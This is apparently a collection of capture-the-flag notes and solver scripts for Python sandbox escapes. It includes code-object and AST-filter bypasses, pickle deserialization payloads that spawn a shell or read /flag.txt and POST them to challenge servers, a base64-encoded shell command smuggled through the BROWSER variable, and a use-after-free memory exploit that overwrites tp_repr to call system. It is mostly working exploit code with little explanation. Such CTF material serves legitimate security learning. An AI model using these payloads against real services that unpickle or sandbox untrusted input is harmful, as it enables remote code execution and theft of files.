tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))
print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()
# You can determine how much padding required here
print("sanity check")
test = magic[id("peko") : id("peko") + 64]
padding = test.find(b"peko")
print("padding:", padding)
target_strs = [
"import",
"spawn",
"process",
"os",
"sys",
"cpython",
"fork",
"open",
"interpreter",
"ctypes",
"compile",
"gc",
"_" * 2 + "new" + "_" * 2,
]
# Overide array val that has target_strs value
for s in target_strs:
addr = id(s)
magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)
os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('id')
factorization = lambda x: (1,1)
Python bug to mutate immutable object
dikasih tau lunaroa https://bugs.python.org/issue43838
AST Bypass
uictf 2024 challenge astea
import ast
def safe_import():
print("Why do you need imports to make tea?")
def safe_call():
print("Why do you need function calls to make tea?")
class CoolDownTea(ast.NodeTransformer):
def visit_Call(self, node: ast.Call) -> ast.AST:
return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])
def visit_Import(self, node: ast.AST) -> ast.AST:
return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_Assign(self, node: ast.Assign) -> ast.AST:
return ast.Assign(targets=node.targets, value=ast.Constant(value=0))
def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))
# code = input('Nothing is quite like a cup of tea in the morning: ').splitlines()[0]
with open('solve.py') as f:
code = f.read()
cup = ast.parse(code)
cup = CoolDownTea().visit(cup)
ast.fix_missing_locations(cup)
exec(compile(cup, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})
solve
for safe_call in [safe_call.__globals__['__builtins__'].breakpoint]: [__builtins__['__import__'] for __builtins__['__import__'] in [safe_import.__globals__['__builtins__'].__import__]];safe_call()
for safe_call.__globals__["ast"].sys.modules["io"].RawIOBase.__class_getitem__ in [safe_call.__globals__["ast"].sys.modules["os"].system]:pass;{eee:=safe_call.__globals__["ast"].sys.modules["io"].RawIOBase};eee["cat flag.txt"];
__builtins__ |= safe_import.__builtins__; [~help for help.__class__.__invert__ in [breakpoint]]
Pickle Eval
UICTF 2024 challenge Push and Pickle
import pickle
import base64
import sys
import pickletools
def check_flag(flag_guess: str):
"""REDACTED FOR PRIVACY"""
cucumber = base64.b64decode(input("Give me your best pickle (base64 encoded) to taste! "))
for opcode, _, _ in pickletools.genops(cucumber):
if opcode.code == "c" or opcode.code == "\x93":
print("Eww! I can't eat dill pickles.")
sys.exit(0)
pickle.loads(cucumber)
Solver
pickle code is b'(S"__import__(\\"os\\").system(\\"sh\\")"\nibuiltins\nexec\n.'
0: ( MARK
1: S STRING '__import__("os").system("sh")'
34: i INST 'builtins exec' (MARK at 0)
49: . STOP```Another
from pickleassem import PickleAssembler
pa = PickleAssembler(proto=4)
pa.push_mark()
pa.util_push('cat chal.py')
pa.build_inst('os', 'system')
payload = pa.assemble()
print(payload)
payload = b'cos\nsystem\n(S"ls"\ntR.'
print(pickle.loads(payload))
Pickle RCE with restriction
| Event Name | INFOBAHN CTF 2025 |
| GitHub URL | - |
| Challenge Name | very safe pickle |
Attachments
References
solution 1
misc/very safe pickle [Unintended solution]
import pickle
import requests
URL = "<http://localhost:8000>"
pkl_int = lambda s: pickle.INT + b"%r\n" % s
pkl_str = lambda s: pickle.STRING + b"%r\n" % s
pkl_import = lambda module, attr: pkl_str(module) + pkl_str(attr) + pickle.STACK_GLOBAL
data = b""
# Force python impl
data += pkl_import("tracemalloc", "pickle")
data += pickle.EMPTY_DICT
data += pkl_str("loads")
data += pkl_import("pickle", "_loads")
data += pickle.SETITEM
data += pickle.BUILD
# Assign '~' to be REDUCE
data += pkl_import("sys", "modules")
data += pkl_str("tmp")
data += pkl_import("pickle", "_Unpickler")
data += pickle.SETITEM
data += pkl_import("tmp", "dispatch")
data += pkl_int(ord('~'))
data += pkl_import("tmp", "load_reduce")
data += pickle.SETITEM
data = data.replace(b"o", b"\\x6f").replace(b"i", b"\\x69")
requests.post(URL, data=data + pickle.STOP)
data = b""
data += pkl_import("builtins", "eval")
data += pkl_str("open('/flag.txt').read()")
data += pickle.TUPLE1
data += b"~" # The new REDUCE instruction
data = data.replace(b"o", b"\\x6f").replace(b"i", b"\\x69")
print(requests.post(URL, data=data + pickle.STOP).text)
solution 2
very safe pickle [Misc] Unintended solution
#!/usr/bin/env python3
import pickle, pickletools, requests
s = requests.Session()
def esc(s: bytes) -> bytes:
# turn b"os" -> b"\\u006f\\u0073" etc (no raw 'i', 'o', 'R', 0x81, 0x82)
return b"".join([("\\u00" + hex(i).replace("0x", "")).encode() for i in s])
# --- part 1: os.environ["BROWSER"] = '/bin/sh -c "touch /tmp/pwned" #%s' ---
os_mod = esc(b"os")
environ_att = esc(b"environ")
BROWSER = esc(b"BROWSER")
COMMAND = esc(b"/bin/sh -c 'echo ZWNobyBGTEFHPSInJChjYXQgL2ZsYWcudHh0KSciID4gdGVzdC5weQ== | base64 -d | sh' #%s")
# --- part 2: import antigravity (via antigravity.__doc__) ---
antigrav_mod = esc(b"antigravity")
doc_att = esc(b"__doc__")
test_mod = esc(b"test")
flag_att = esc(b"FLAG")
merged_payload = (
b"\x80\x04" # PROTO 4
# ----- payload1 body -----
# STACK_GLOBAL(os_mod, environ_att) -> os.environ
b"V" + os_mod + b"\n\x94"
b"V" + environ_att + b"\n\x94"
b"\x93\x94" # STACK_GLOBAL + MEMOIZE (memoize environ)
# push key/value: "BROWSER", COMMAND
b"V" + BROWSER + b"\n"
b"V" + COMMAND + b"\n"
b"s" # SETITEM -> os.environ["BROWSER"] = COMMAND
b"\x94" # deleted
# ----- payload2 body -----
# STACK_GLOBAL(antigrav_mod, "__doc__") -> antigravity.__doc__
b"V" + antigrav_mod + b"\n\x94"
b"V" + doc_att + b"\n\x94"
b"\x93\x94" # STACK_GLOBAL + MEMOIZE
b"V" + test_mod + b"\n\x94"
b"V" + flag_att + b"\n\x94"
b"\x93\x94"
b"." # STOP
)
print(merged_payload)
print("=== Disassembly 1 ===")
#pickletools.dis(merged_payload) # <https://zvektypx.instances.infobahnc.tf>
# 3. Send to the challenge HTTP server
r = s.post("https://<host-id>.instances.infobahnc.tf/", data=merged_payload)
print("Status:", r.status_code)
print("Body: ", r.content)
solution 3
Misc/Very Safe Pickle
import requests, pickle
import struct
data = b''
data += pickle.PROTO + b'\\x04'
data += pickle.STRING + b'"__ma\\\\x69n__"\\n'
data += pickle.STRING + b'"__d\\\\x69ct__"\\n'
data += pickle.STACK_GLOBAL
data += pickle.STRING + b'"f\\\\x6frb\\\\x69dden"\\n'
data += pickle.BINBYTES + b"\\x00\\x00\\x00\\x00"
data += b""
data += pickle.SETITEM
data += pickle.STOP
URL = "<https://zfxegnmo.instances.infobahnc.tf>"
# URL = "<http://localhost:8000>"
res = requests.post(URL, data=data)
print("Stage 1")
print(res.text)
data = b''
data += pickle.PROTO + b'\\x04'
data += pickle.GLOBAL + b'subprocess\\ncheck_output\\n'
data += pickle.MARK
data += pickle.BINUNICODE + struct.pack('<I', 3) + b'cat'
data += pickle.BINUNICODE + struct.pack('<I', 9) + b'/flag.txt'
data += pickle.LIST
data += pickle.TUPLE1
data += pickle.REDUCE
data += pickle.STOP
res = requests.post(URL, data=data)
print("Stage 2")
print(res.text)
solution 4 (itended)
Very Safe Pickle (Intended)
I've seen a lot of unintended solutions. I'd love to see them all!
import pickle
from struct import pack
import requests
URL = "<https://gddmtwqa.instances.infobahnc.tf/>"
def pklstr(s):
s = s.encode()
return pickle.SHORT_BINUNICODE + pack("<B", len(s)) + s
def escape(s):
return "".join([f"&#{ord(c)};" for c in s])
code = f'open("/flag.txt").read()'
payload = (
pickle.GLOBAL + b"re\\nenum\\n" + # This can be any thing as long as it's a module inside a module and written in python
pickle.MARK +
pklstr("__getattr__") +
pickle.GLOBAL + b"html\\nunescape\\n" +
pickle.DICT +
pickle.BUILD +
pickle.GLOBAL + f"enum\\n{escape("builtins")}\\n".encode() +
pklstr("eval") +
pickle.STACK_GLOBAL +
pickle.MEMOIZE +
pickle.GLOBAL + b"ctypes\\n_types\\n" + # This can be any thing as long as it's a module inside a module and written in python
pickle.MARK +
pklstr("__getattr__") +
pickle.BINGET + pack('b', 0) +
pickle.DICT +
pickle.BUILD +
pklstr("types") +
pickle.GLOBAL + f"enum\\n{escape(code)}\\n".encode() +
pickle.STACK_GLOBAL +
pickle.STOP
)
r = requests.post(URL, data=payload)
print(r.text)
get rce if `__subclasses__` is blocked
idekctf 2024 web/crator
open is from specially crafted function
unitended solution
import httpx
import asyncio
import html
URL = "http://localhost:1337"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
def register(self, username, password):
return self.c.post("/register", data=dict(
username=username,
password=password
))
def login(self, username, password):
return self.c.post("/login", data=dict(
username=username,
password=password
))
def submit(self, id, code):
return self.c.post(f"/submit/{id}", data=dict(
code=code
))
class API(BaseAPI):
...
async def main():
api = API()
creds = "foobar"
await api.register(creds, creds)
await api.login(creds, creds)
res = await api.submit("helloinput", """
open = open.__closure__[0].cell_contents
io = open.__self__
io.__spec__.name = 'sys'
sys = io.__loader__.create_module(io.__spec__)
io.__loader__.exec_module(io)
sys.modules['os'].system('cat /tmp/*.expected | grep "idek"')
""")
print(html.unescape(res.text))
if __name__ == "__main__":
asyncio.run(main())
another solution
I used open("/etc/passwd").buffer.raw.__class__("/tmp/2.expected", "r") to create a FileIO object and same for writing the flag to some other location, which I could print and read from web interface
Solution using PWN stuff to bypass the sandbox
import httpx
import asyncio
import html
URL = "http://localhost:1337"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
def register(self, username, password):
return self.c.post("/register", data=dict(
username=username,
password=password
))
def login(self, username, password):
return self.c.post("/login", data=dict(
username=username,
password=password
))
def submit(self, id, code):
return self.c.post(f"/submit/{id}", data=dict(
code=code
))
class API(BaseAPI):
...
async def main():
api = API()
creds = "foobar"
await api.register(creds, creds)
await api.login(creds, creds)
res = await api.submit("helloinput", """
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
UAF = ().__class__.__class__('UAF', (), {
'__index__': __index__
})
uaf = bytearray(56)
uaf[23] = UAF()
print(id(0))
def p64(value):
return bytes([(value >> (i * 8)) & 0xFF for i in range(8)])
wow = ().__class__.__class__("wow", (), {})
print(wow)
system_addr = id(0) - 0x653b58
sys = p64(system_addr)
command = b"id".ljust(8,b"\\x00")
command = chr(command[0]-2).encode()+command[1::]
for x in range(8):
memory[id(wow) + 24 + 14*8 + x] = sys[x] # Overwriting tp_repr
fake = wow()
for x in range(len(command)):
memory[id(fake) + x] = command[x] # Overwriting ob_refcnt
input("...")
print(fake)
""")
print(html.unescape(res.text))
if __name__ == "__main__":
asyncio.run(main())
if forloop blacklisted we can use lambda generator like this
>>> (lambda**x:(lambda x,y:x)(*x.popitem()))(sesuatu=None)
'sesuatu'
Pickle documentation by legoclones
I tried looking for memory corruption bugs that would allow RCE even with sanitized find_class(), but only found some low impact memory leaks 😦
I've spent a lot of my time looking for discrepancies between the C unpickler and python unpickler and have found a lot, leading to 15 different root causes and therefore 15 bugs to fix but changing stuff in python source code can take forever
Something py jail
#!/usr/local/bin/python3 -u
import json
import builtins
def choose_cell():
print("Choose your cell")
while True:
inp = input('> ')
if hasattr(builtins,inp):
return inp
print("I don't think that cell would hold you")
def choose_inmate(ok):
print("Choose your inmate")
while True:
inp = input('> ')
if hasattr(type(ok),inp):
return inp
print("No that inmate is in solitary")
def name_registration():
print("What is your name?")
while True:
inp = input('> ')
try:
return json.loads(inp)
except: pass
print("Is that an alias or...")
def checkin():
print("How are you doing?")
allowed = set('~(0)|<')
while True:
inp = input('> ')
if set(inp) <= allowed:
try:
print(inp)
return eval(inp)
except:
print('Wow must be rough')
else:
print('This may be the wrong jail for you.')
def main():
print("Welcome to the OK Jail!")
print("Let's hope you won't be staying long...\n")
ok = checkin()
name = name_registration()
inmate = choose_inmate(ok)
cell = choose_cell()
jail = f'builtins.{cell}(ok.{inmate}(*{name}))'
print(jail)
try:
eval(jail)
except:
print("JAILBREAK DETECTED")
if __name__ == "__main__":
main()
from pwn import *
import json
def generate_expression(target):
"""Generates an expression using (~0<0), <<, and | to obtain the target number."""
base = "(~0<0)" # Equivalent to 1
expr = ""
binary = bin(target)[2:] # Convert target number to binary
expr_parts = [] # Store individual bitwise shifts
for i, bit in enumerate(reversed(binary)): # Process bits from LSB to MSB
if bit == "1":
if i == 0:
expr_parts.append(base) # 1
else:
shift_expr = base # Start with 1
for _ in range(i): # Apply left shifts
shift_expr = f"({shift_expr}<<{base})"
expr_parts.append(shift_expr)
expr = "|".join(expr_parts) # Join with bitwise OR
return expr
# Example Usage:
string = "breakpoint()"
utf8_bytes = list(string.encode('utf-8'))
# Convert the UTF-8 byte representation into an integer
packed_integer = int.from_bytes(utf8_bytes, byteorder='big')
target_number = packed_integer # Change this to any number you want
expression = generate_expression(target_number)
io = remote('chal.bearcatctf.io', 35707)
# io = process(['python3', 'jail.py'])
io.sendline(expression)
io.sendline('['+str(len(string))+',"big"]')
io.sendline(b'to_bytes')
io.sendline(b'eval')
io.sendline(b'import os;os.system("sh")')
io.interactive()
